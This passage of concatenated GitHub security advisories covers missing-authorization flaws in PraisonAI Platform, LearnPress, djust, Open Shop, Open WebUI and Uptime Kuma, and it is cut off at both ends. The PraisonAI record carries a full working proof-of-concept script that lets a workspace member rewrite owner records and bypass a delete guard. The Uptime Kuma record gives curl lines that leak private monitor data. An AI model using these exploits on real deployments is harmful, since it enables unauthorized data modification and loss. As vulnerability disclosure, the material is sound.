headers=member_headers,\n)\n\ndelete_project_after_takeover = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n headers=member_headers,\n)\n\npatch_issue = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n json={\"title\": \"Member rewrote owner issue\", \"status\": \"done\"},\n headers=member_headers,\n)\n\npatch_agent = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/agents/{agent_id}\",\n json={\"instructions\": \"member-controlled instructions\", \"status\": \"idle\"},\n headers=member_headers,\n)\n\noutsider_patch_issue = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n json={\"title\": \"outsider attempt\"},\n headers=outsider_headers,\n)\n```\n\nThe full PoV script is included in the appendix below as `pov_platform_member_update_bypass.py`.\n\n## PoC\n\nCurrent head tested:\n\n```text\n846568c7a5d8ce9e71e56e4c213f027c04909753\n2026-06-17T20:13:04+01:00\nchore: clean up redundant \u0027persist-credentials\u0027 entries in GitHub workflows\n```\n\nRun against a local checkout of current head:\n\n```sh\nuv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with \u0027pydantic[email]\u003e=2.10.0\u0027 --with PyJWT --with \u0027passlib[bcrypt]\u003e=1.7.4\u0027 --with \u0027bcrypt==4.0.1\u0027 python pov_platform_member_update_bypass.py --repo /path/to/PraisonAI --json\n```\n\nDecisive current-head output:\n\n```json\n{\n \"source\": \"git:846568c7a5d8ce9e71e56e4c213f027c04909753\",\n \"workspace_role\": \"member\",\n \"checks\": {\n \"member_direct_project_delete_before_patch\": 403,\n \"member_project_patch_lead_to_self\": 200,\n \"member_project_delete_after_lead_takeover\": 204,\n \"owner_get_project_after_member_delete\": 404,\n \"member_issue_patch\": 200,\n \"owner_observes_member_issue_title\": \"Member rewrote owner issue\",\n \"member_issue_delete_after_patch\": 403,\n \"member_agent_patch\": 200,\n \"owner_observes_member_agent_instructions\": \"member-controlled instructions\",\n \"member_agent_delete_after_patch\": 403,\n \"non_member_issue_patch\": 403\n },\n \"vulnerable\": true\n}\n```\n\nRun against the latest PyPI package observed during testing:\n\n```sh\nuv run --with \u0027praisonai-platform==0.1.8\u0027 --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with \u0027pydantic[email]\u003e=2.10.0\u0027 --with PyJWT --with \u0027passlib[bcrypt]\u003e=1.7.4\u0027 --with \u0027bcrypt==4.0.1\u0027 python pov_platform_member_update_bypass.py --json\n```\n\nDecisive latest-PyPI output:\n\n```json\n{\n \"source\": \"pypi:praisonai-platform==0.1.8\",\n \"workspace_role\": \"member\",\n \"checks\": {\n \"member_direct_project_delete_before_patch\": 403,\n \"member_project_patch_lead_to_self\": 200,\n \"member_project_delete_after_lead_takeover\": 204,\n \"owner_get_project_after_member_delete\": 404,\n \"member_issue_patch\": 200,\n \"owner_observes_member_issue_title\": \"Member rewrote owner issue\",\n \"member_issue_delete_after_patch\": 403,\n \"member_agent_patch\": 200,\n \"owner_observes_member_agent_instructions\": \"member-controlled instructions\",\n \"member_agent_delete_after_patch\": 403,\n \"non_member_issue_patch\": 403\n },\n \"vulnerable\": true\n}\n```\n\nVersion sweep excerpt:\n\n```text\npraisonai-platform 0.1.4: member PATCH project/issue/agent returned 200, but direct member DELETE also returned 204, so the current delete-guard bypass is masked by broader older delete authorization behavior.\npraisonai-platform 0.1.6: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.\npraisonai-platform 0.1.8: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.\n```\n\n## Impact\n\nAn ordinary workspace member can modify owner-created Platform records that should remain owner/admin controlled. For projects, the member can turn a denied direct delete into an allowed delete by reassigning `lead_id` through PATCH, causing owner project data loss. For issues, the member can rewrite owner-created titles/statuses while delete remains blocked. For agents, the member can replace owner-created instructions and runtime-related configuration fields while delete remains blocked. In a shared workspace, this is a concrete integrity violation and can disrupt work tracking or agent behavior.\n\nSuggested severity: High. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L` (7.1). Suggested CWEs: `CWE-862` Missing Authorization and `CWE-863` Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality impact.\n\n## Suggested Fix\n\nApply resource-specific update authorization before mutating project, issue, or agent records. A straightforward approach is to mirror the delete route\u0027s owner/admin check for PATCH routes, or introduce a `require_update_permission` helper that allows workspace admins/owners and the relevant resource owner only.\n\nFor projects, do not let an ordinary member set `lead_id` on an existing owner-created project. Treat lead reassignment as an admin/owner operation, and validate that the new lead belongs to the workspace and is eligible for that role.\n\nAdd regression tests for these cases: a plain member cannot patch an owner-created project, issue, or agent; a member cannot reassign project `lead_id` to gain delete permission; owner/admin callers can still patch according to intended policy; a non-member still receives `403`.\n\n## Affected Package/Versions\n\nAffected package: `pypi:praisonai-platform`.\n\nLatest PyPI version observed during testing: `0.1.8`. Current head `846568c7a5d8ce9e71e56e4c213f027c04909753` is affected.\n\nThe owner/admin update authorization gap is confirmed in sampled versions `0.1.4`, `0.1.6`, `0.1.8`, and current head. The specific project delete-guard bypass through `lead_id` reassignment is confirmed in `0.1.6`, `0.1.8`, and current head. In `0.1.4`, direct member deletes already returned `204`, so the lead-reassignment chain is masked by a broader older delete issue.\n\nSuggested affected range for the update authorization gap: `pypi:praisonai-platform \u003e=0.1.4, \u003c=0.1.8`. Suggested affected range for the project lead-reassignment delete bypass after delete checks were introduced: `pypi:praisonai-platform \u003e=0.1.6, \u003c=0.1.8`. No fixed version or fix commit was observed.\n\n## Advisory History\n\nVisible PraisonAI Platform advisories include several related authorization fixes, but the checked public advisories do not appear to cover this same same-workspace PATCH authorization gap and project `lead_id` delete-guard bypass.\n\n`GHSA-rh39-9c67-59mh`, \"Missing ownership check on DELETE endpoints allows members to delete others\u0027 content in Platform API\", covers DELETE endpoints. This report is distinct because the PoV shows direct project DELETE is denied with `403`, then PATCH succeeds, then DELETE succeeds only after `lead_id` is reassigned through the update route.\n\n`GHSA-2fjj-qqg8-fg7x`, \"Authorization Bypass Through User-Controlled Key in praisonai-platform\", covers user-controlled `project_id` reference handling and cross-workspace stats pollution. This report does not rely on foreign workspace ids; the attacker is a legitimate member of the same workspace as the owner-created records.\n\n`GHSA-gv23-xrm3-8c62`, `GHSA-6h6v-6m7w-7vxx`, `GHSA-943m-6wx2-rc2j`, `GHSA-xwq8-frcg-77q8`, and `GHSA-7p8g-6c6g-h9w7` cover cross-workspace object access by global id. This report is scoped to same-workspace owner/admin authorization and includes a non-member negative control returning `403`.\n\n## References\n\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2j`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7`\n- `https://cwe.mitre.org/data/definitions/862.html`\n- `https://cwe.mitre.org/data/definitions/863.html`\n\n## Appendix A - Longer Version Sweep\n\n```text\n=== praisonai-platform 0.1.4 ===\n\"member_direct_project_delete_before_patch\": 204\n\"member_project_patch_lead_to_self\": 404\n\"member_issue_patch\": 200\n\"member_agent_patch\": 200\n\"member_issue_delete_after_patch\": 204\n\"member_agent_delete_after_patch\": 204\n\"non_member_issue_patch\": 403\n\n=== praisonai-platform 0.1.6 ===\n\"member_direct_project_delete_before_patch\": 403\n\"member_project_patch_lead_to_self\": 200\n\"member_project_delete_after_lead_takeover\": 204\n\"owner_get_project_after_member_delete\": 404\n\"member_issue_patch\": 200\n\"member_issue_delete_after_patch\": 403\n\"member_agent_patch\": 200\n\"member_agent_delete_after_patch\": 403\n\"non_member_issue_patch\": 403\n\n=== praisonai-platform 0.1.8 ===\n\"member_direct_project_delete_before_patch\": 403\n\"member_project_patch_lead_to_self\": 200\n\"member_project_delete_after_lead_takeover\": 204\n\"owner_get_project_after_member_delete\": 404\n\"member_issue_patch\": 200\n\"member_issue_delete_after_patch\": 403\n\"member_agent_patch\": 200\n\"member_agent_delete_after_patch\": 403\n\"non_member_issue_patch\": 403\n```\n\n## Appendix B - Full PoV Script\n\nSave this as `pov_platform_member_update_bypass.py` before running the PoC commands above.\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI Platform same-workspace member update bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport asyncio\nimport json\nimport os\nimport sys\nfrom pathlib import Path\nfrom typing import Any\n\n\ndef _load_local_source(repo: Path | None) -\u003e None:\n if repo is None:\n return\n platform_root = repo / \"src\" / \"praisonai-platform\"\n agents_root = repo / \"src\" / \"praisonai-agents\"\n for path in (str(platform_root), str(agents_root)):\n if path not in sys.path:\n sys.path.insert(0, path)\n\n\nasync def _register(client: Any, email: str, name: str) -\u003e tuple[str, str]:\n response = await client.post(\n \"/api/v1/auth/register\",\n json={\"email\": email, \"password\": \"Password1!\", \"name\": name},\n )\n if response.status_code \u003e= 400:\n raise RuntimeError(f\"register failed for {email}: {response.status_code} {response.text}\")\n body = response.json()\n return body[\"token\"], body[\"user\"][\"id\"]\n\n\nasync def _run(repo: Path | None) -\u003e dict[str, Any]:\n os.environ[\"PLATFORM_JWT_SECRET\"] = \"local-poc-secret-32-bytes-minimum\"\n _load_local_source(repo)\n\n from httpx import ASGITransport, AsyncClient\n from sqlalchemy.ext.asyncio import create_async_engine\n\n from praisonai_platform.api.app import create_app\n from praisonai_platform.db import base as base_mod\n from praisonai_platform.db.base import Base, reset_engine\n\n await reset_engine()\n engine = create_async_engine(\n \"sqlite+aiosqlite:///:memory:\",\n echo=False,\n connect_args={\"check_same_thread\": False},\n )\n base_mod._engine = engine\n base_mod._session_factory = None\n async with engine.begin() as conn:\n await conn.run_sync(Base.metadata.create_all)\n\n app = create_app()\n transport = ASGITransport(app=app)\n async with AsyncClient(transport=transport, base_url=\"http://local-poc\") as client:\n owner_token, owner_id = await _register(client, \"owner@example.com\", \"Owner\")\n member_token, member_id = await _register(client, \"member@example.com\", \"Member\")\n outsider_token, _ = await _register(client, \"outsider@example.com\", \"Outsider\")\n\n owner_headers = {\"Authorization\": f\"Bearer {owner_token}\"}\n member_headers = {\"Authorization\": f\"Bearer {member_token}\"}\n outsider_headers = {\"Authorization\": f\"Bearer {outsider_token}\"}\n\n ws_resp = await client.post(\n \"/api/v1/workspaces/\",\n json={\"name\": \"Shared Workspace\", \"slug\": \"shared-workspace\"},\n headers=owner_headers,\n )\n ws_resp.raise_for_status()\n workspace_id = ws_resp.json()[\"id\"]\n\n add_member = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/members\",\n json={\"user_id\": member_id, \"role\": \"member\"},\n headers=owner_headers,\n )\n add_member.raise_for_status()\n\n project_resp = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/projects/\",\n json={\n \"title\": \"Owner project\",\n \"description\": \"Owned by the workspace owner\",\n \"lead_type\": \"member\",\n \"lead_id\": owner_id,\n },\n headers=owner_headers,\n )\n project_resp.raise_for_status()\n project_id = project_resp.json()[\"id\"]\n\n direct_delete_project = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n headers=member_headers,\n )\n\n patch_project = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n json={\n \"title\": \"Member-controlled project\",\n \"status\": \"active\",\n \"lead_type\": \"member\",\n \"lead_id\": member_id,\n },\n headers=member_headers,\n )\n\n delete_project_after_takeover = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n headers=member_headers,\n )\n owner_get_deleted_project = await client.get(\n f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n headers=owner_headers,\n )\n\n issue_resp = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/issues/\",\n json={\"title\": \"Owner issue\", \"priority\": \"high\"},\n headers=owner_headers,\n )\n issue_resp.raise_for_status()\n issue_id = issue_resp.json()[\"id\"]\n\n patch_issue = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n json={\"title\": \"Member rewrote owner issue\", \"status\": \"done\"},\n headers=member_headers,\n )\n owner_get_issue = await client.get(\n f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n headers=owner_headers,\n )\n delete_issue = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n headers=member_headers,\n )\n\n agent_resp = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/agents/\",\n json={\"name\": \"OwnerAgent\", \"instructions\": \"owner-only instructions\"},\n headers=owner_headers,\n )\n agent_resp.raise_for_status()\n agent_id = agent_resp.json()[\"id\"]\n\n patch_agent = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/agents/{agent_id}\",\n json={\"instructions\": \"member-controlled instructions\", \"status\": \"idle\"},\n headers=member_headers,\n )\n owner_get_agent = await client.get(\n f\"/api/v1/workspaces/{workspace_id}/agents/{agent_id}\",\n headers=owner_headers,\n )\n delete_agent = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/agents/{agent_id}\",\n headers=member_headers,\n )\n\n outsider_patch_issue = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n json={\"title\": \"outsider attempt\"},\n headers=outsider_headers,\n )\n\n await engine.dispose()\n base_mod._engine = None\n base_mod._session_factory = None\n\n owner_issue_body = owner_get_issue.json() if owner_get_issue.status_code == 200 else {}\n owner_agent_body = owner_get_agent.json() if owner_get_agent.status_code == 200 else {}\n patch_project_body = patch_project.json() if patch_project.status_code == 200 else {}\n\n checks = {\n \"member_direct_project_delete_before_patch\": direct_delete_project.status_code,\n \"member_project_patch_lead_to_self\": patch_project.status_code,\n \"member_project_delete_after_lead_takeover\": delete_project_after_takeover.status_code,\n \"owner_get_project_after_member_delete\": owner_get_deleted_project.status_code,\n \"member_issue_patch\": patch_issue.status_code,\n \"owner_observes_member_issue_title\": owner_issue_body.get(\"title\"),\n \"member_issue_delete_after_patch\": delete_issue.status_code,\n \"member_agent_patch\": patch_agent.status_code,\n \"owner_observes_member_agent_instructions\": owner_agent_body.get(\"instructions\"),\n \"member_agent_delete_after_patch\": delete_agent.status_code,\n \"non_member_issue_patch\": outsider_patch_issue.status_code,\n }\n vulnerable = (\n checks[\"member_direct_project_delete_before_patch\"] == 403\n and checks[\"member_project_patch_lead_to_self\"] == 200\n and patch_project_body.get(\"lead_id\") == member_id\n and checks[\"member_project_delete_after_lead_takeover\"] == 204\n and checks[\"owner_get_project_after_member_delete\"] == 404\n and checks[\"member_issue_patch\"] == 200\n and checks[\"owner_observes_member_issue_title\"] == \"Member rewrote owner issue\"\n and checks[\"member_issue_delete_after_patch\"] == 403\n and checks[\"member_agent_patch\"] == 200\n and checks[\"owner_observes_member_agent_instructions\"] == \"member-controlled instructions\"\n and checks[\"member_agent_delete_after_patch\"] == 403\n and checks[\"non_member_issue_patch\"] == 403\n )\n return {\n \"package\": \"praisonai-platform\",\n \"source\": _source_id(repo),\n \"workspace_role\": \"member\",\n \"summary\": \"A workspace member can patch owner-created project, issue, and agent records. Project lead reassignment then bypasses the delete ownership guard.\",\n \"checks\": checks,\n \"vulnerable\": vulnerable,\n }\n\n\ndef _source_id(repo: Path | None) -\u003e str:\n if repo is None:\n import importlib.metadata\n\n return f\"pypi:praisonai-platform=={importlib.metadata.version(\u0027praisonai-platform\u0027)}\"\n import subprocess\n\n rev = subprocess.check_output(\n [\"git\", \"-C\", str(repo), \"rev-parse\", \"HEAD\"],\n text=True,\n ).strip()\n return f\"git:{rev}\"\n\n\ndef main() -\u003e int:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--repo\", type=Path)\n parser.add_argument(\"--json\", action=\"store_true\")\n args = parser.parse_args()\n\n result = asyncio.run(_run(args.repo.resolve() if args.repo else None))\n if args.json:\n print(json.dumps(result, indent=2, sort_keys=True))\n else:\n for key, value in result[\"checks\"].items():\n print(f\"{key}: {value}\")\n print(f\"vulnerable: {result[\u0027vulnerable\u0027]}\")\n return 0 if result[\"vulnerable\"] else 1\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n\n```",
"id": "GHSA-c78w-2q4r-68r7",
"modified": "2026-10-08T22:01:11Z",
"published": "2026-10-08T22:01:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-c78w-2q4r-68r7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61442"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/praisonai-platform-before-authorization-bypass-via-patch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass"
}
GHSA-C79C-P5W8-9WMC
Vulnerability from github – Published: 2026-01-06 09:30 – Updated: 2026-01-06 09:30The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the catch_lp_ajax function in all versions up to, and including, 4.3.2. This makes it possible for unauthenticated attackers to modify course contents by adding/removing/updating/re-ordering sections or modifying section items.
{
"affected": [],
"aliases": [
"CVE-2025-13964"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-06T09:15:54Z",
"severity": "MODERATE"
},
"details": "The LearnPress \u2013 WordPress LMS Plugin plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the catch_lp_ajax function in all versions up to, and including, 4.3.2. This makes it possible for unauthenticated attackers to modify course contents by adding/removing/updating/re-ordering sections or modifying section items.",
"id": "GHSA-c79c-p5w8-9wmc",
"modified": "2026-01-06T09:30:29Z",
"published": "2026-01-06T09:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13964"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/learnpress/tags/4.3.1/inc/Ajax/AbstractAjax.php#L18"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/learnpress/tags/4.3.1/inc/Ajax/EditCurriculumAjax.php#L52"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ae363511-8a1f-476a-9851-61f7763428c2?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C7C5-5J6R-Q957
Vulnerability from github – Published: 2026-09-16 22:06 – Updated: 2026-09-16 22:06Impact
djust's per-object authorization (get_object + has_object_permission, ADR-017) was enforced on the WebSocket mount and event paths but not on three other render entry points: (a) the initial HTTP GET render, (b) SPA url_change navigation, and (c) {% live_render %} embedded child views. An authenticated user could therefore view (and on some paths act on) an object they are not authorized for by loading the page directly, navigating to it via SPA url-change, or composing it as an embedded child — a classic IDOR / broken object-level access control on object-scoped views.
Patches
Fixed in djust 1.0.7. All render entry points now route through a shared enforce_object_permission chokepoint: HTTP GET returns 403, url_change emits a permission_denied frame and skips the render, and {% live_render %} (eager + lazy) refuses the embed. Views without a custom get_object are unaffected (no-op).
Workarounds
No reliable workaround short of upgrading. Do not expose object-scoped views through the HTTP-GET / url_change / live_render paths until patched.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "djust"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61596"
],
"database_specific": {
"cwe_ids": [
"CWE-639",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-16T22:06:02Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\ndjust\u0027s per-object authorization (`get_object` + `has_object_permission`, ADR-017) was enforced on the WebSocket **mount** and **event** paths but **not** on three other render entry points: (a) the initial **HTTP GET** render, (b) **SPA `url_change`** navigation, and (c) `{% live_render %}` **embedded child** views. An authenticated user could therefore view (and on some paths act on) an object they are not authorized for by loading the page directly, navigating to it via SPA url-change, or composing it as an embedded child \u2014 a classic IDOR / broken object-level access control on object-scoped views.\n\n### Patches\nFixed in **djust 1.0.7**. All render entry points now route through a shared `enforce_object_permission` chokepoint: HTTP GET returns **403**, `url_change` emits a `permission_denied` frame and skips the render, and `{% live_render %}` (eager + lazy) refuses the embed. Views without a custom `get_object` are unaffected (no-op).\n\n### Workarounds\nNo reliable workaround short of upgrading. Do not expose object-scoped views through the HTTP-GET / url_change / live_render paths until patched.",
"id": "GHSA-c7c5-5j6r-q957",
"modified": "2026-09-16T22:06:02Z",
"published": "2026-09-16T22:06:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/djust-org/djust/security/advisories/GHSA-c7c5-5j6r-q957"
},
{
"type": "PACKAGE",
"url": "https://github.com/djust-org/djust"
},
{
"type": "WEB",
"url": "https://github.com/djust-org/djust/releases/tag/v1.0.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "djust has broken object-level access control (IDOR)"
}
GHSA-C7CH-HRFV-GQ8P
Vulnerability from github – Published: 2026-07-13 12:35 – Updated: 2026-07-13 12:35Missing Authorization vulnerability in themehunk Open Shop open-shop allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Open Shop: from n/a through <= 1.7.1.
{
"affected": [],
"aliases": [
"CVE-2026-57405"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-13T10:16:34Z",
"severity": "HIGH"
},
"details": "Missing Authorization vulnerability in themehunk Open Shop open-shop allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Open Shop: from n/a through \u003c= 1.7.1.",
"id": "GHSA-c7ch-hrfv-gq8p",
"modified": "2026-07-13T12:35:03Z",
"published": "2026-07-13T12:35:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57405"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Theme/open-shop/vulnerability/wordpress-open-shop-theme-1-7-1-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C7FQ-P62P-WVPC
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-21 17:26In version v0.3.8 of open-webui/open-webui, improper access control vulnerabilities allow an attacker to view any prompts. The application does not verify whether the attacker is an administrator, allowing the attacker to directly call the /api/v1/prompts/ interface to retrieve all prompt information created by the admin, which includes the ID values. Subsequently, the attacker can exploit the /api/v1/prompts/command/{command_id} interface to obtain arbitrary prompt information.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.3.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-7045"
],
"database_specific": {
"cwe_ids": [
"CWE-1100",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-21T17:26:53Z",
"nvd_published_at": "2025-03-20T10:15:35Z",
"severity": "MODERATE"
},
"details": "In version v0.3.8 of open-webui/open-webui, improper access control vulnerabilities allow an attacker to view any prompts. The application does not verify whether the attacker is an administrator, allowing the attacker to directly call the /api/v1/prompts/ interface to retrieve all prompt information created by the admin, which includes the ID values. Subsequently, the attacker can exploit the /api/v1/prompts/command/{command_id} interface to obtain arbitrary prompt information.",
"id": "GHSA-c7fq-p62p-wvpc",
"modified": "2025-03-21T17:26:53Z",
"published": "2025-03-20T12:32:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7045"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/03ea0826-af7b-4717-b63e-90fd19675ab2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI Has Improper Access Control Leading to Arbitrary Prompt Read"
}
GHSA-C7HF-C5P5-5G6H
Vulnerability from github – Published: 2026-03-12 14:47 – Updated: 2026-03-13 13:35Summary
The GET /api/badge/:id/ping/:duration? endpoint in server/routers/api-router.js does not verify that the requested monitor belongs to a public group. All other badge endpoints check AND public = 1 in their SQL query before returning data. The ping endpoint skips this check entirely, allowing unauthenticated users to extract average ping/response time data for private monitors.
Affected Code
File: server/routers/api-router.js, approximately line 304
The ping badge endpoint directly calls UptimeCalculator.getUptimeCalculator(requestedMonitorId) without first checking if the monitor is public. Compare with the status badge endpoint (~line 148) which correctly queries:
SELECT monitor_group.monitor_id FROM monitor_group, `group`
WHERE monitor_group.group_id = `group`.id
AND monitor_group.monitor_id = ?
AND public = 1
Protected vs Vulnerable Endpoints
| Endpoint | Has public=1 check? |
|---|---|
| /api/badge/:id/status | Yes |
| /api/badge/:id/uptime/:duration? | Yes |
| /api/badge/:id/avg-response/:duration? | Yes |
| /api/badge/:id/cert-exp | Yes |
| /api/badge/:id/response | Yes |
| /api/badge/:id/ping/:duration? | No — vulnerable |
PoC
- Install Uptime Kuma (tested on latest v2 stable via Docker)
- Create an HTTP(s) monitor (e.g., monitoring http://localhost:3001)
- Do NOT add the monitor to any public status page or group
- Wait for heartbeats to accumulate (~5 minutes)
- Query unauthenticated:
curl http://localhost:3001/api/badge/1/status → returns N/A (correct, monitor is private)
curl http://localhost:3001/api/badge/1/ping/24 → returns "Avg. Ping (24h): 10ms" (LEAKED)
Impact
An unauthenticated attacker can: - Enumerate private monitor IDs - Extract average response time data for private monitors - Infer existence and reachability of internal monitored services
Suggested Fix
Add the same public monitor check before the UptimeCalculator call:
let publicMonitor = await R.getRow(`
SELECT monitor_group.monitor_id FROM monitor_group, \`group\`
WHERE monitor_group.group_id = \`group\`.id
AND monitor_group.monitor_id = ?
AND public = 1
`, [requestedMonitorId]);
if (!publicMonitor) {
badgeValues.message = "N/A";
badgeValues.color = badgeConstants.naColor;
}
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.3"
},
"package": {
"ecosystem": "npm",
"name": "uptime-kuma"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32230"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-12T14:47:39Z",
"nvd_published_at": "2026-03-12T19:16:16Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `GET /api/badge/:id/ping/:duration?` endpoint in `server/routers/api-router.js` does not verify that the requested monitor belongs to a public group. All other badge endpoints check `AND public = 1` in their SQL query before returning data. The ping endpoint skips this check entirely, allowing unauthenticated users to extract average ping/response time data for private monitors.\n\n## Affected Code\n\nFile: `server/routers/api-router.js`, approximately line 304\n\nThe ping badge endpoint directly calls `UptimeCalculator.getUptimeCalculator(requestedMonitorId)` without first checking if the monitor is public. Compare with the status badge endpoint (~line 148) which correctly queries:\n```sql\nSELECT monitor_group.monitor_id FROM monitor_group, `group`\nWHERE monitor_group.group_id = `group`.id\nAND monitor_group.monitor_id = ?\nAND public = 1\n```\n\n## Protected vs Vulnerable Endpoints\n\n| Endpoint | Has public=1 check? |\n|----------|-------------------|\n| /api/badge/:id/status | Yes |\n| /api/badge/:id/uptime/:duration? | Yes |\n| /api/badge/:id/avg-response/:duration? | Yes |\n| /api/badge/:id/cert-exp | Yes |\n| /api/badge/:id/response | Yes |\n| /api/badge/:id/ping/:duration? | **No \u2014 vulnerable** |\n\n## PoC\n\n1. Install Uptime Kuma (tested on latest v2 stable via Docker)\n2. Create an HTTP(s) monitor (e.g., monitoring http://localhost:3001)\n3. Do NOT add the monitor to any public status page or group\n4. Wait for heartbeats to accumulate (~5 minutes)\n5. Query unauthenticated:\n```bash\ncurl http://localhost:3001/api/badge/1/status \u2192 returns N/A (correct, monitor is private)\ncurl http://localhost:3001/api/badge/1/ping/24 \u2192 returns \"Avg. Ping (24h): 10ms\" (LEAKED)\n```\n\n## Impact\n\nAn unauthenticated attacker can:\n- Enumerate private monitor IDs\n- Extract average response time data for private monitors\n- Infer existence and reachability of internal monitored services\n\n## Suggested Fix\n\nAdd the same public monitor check before the UptimeCalculator call:\n```javascript\nlet publicMonitor = await R.getRow(`\n SELECT 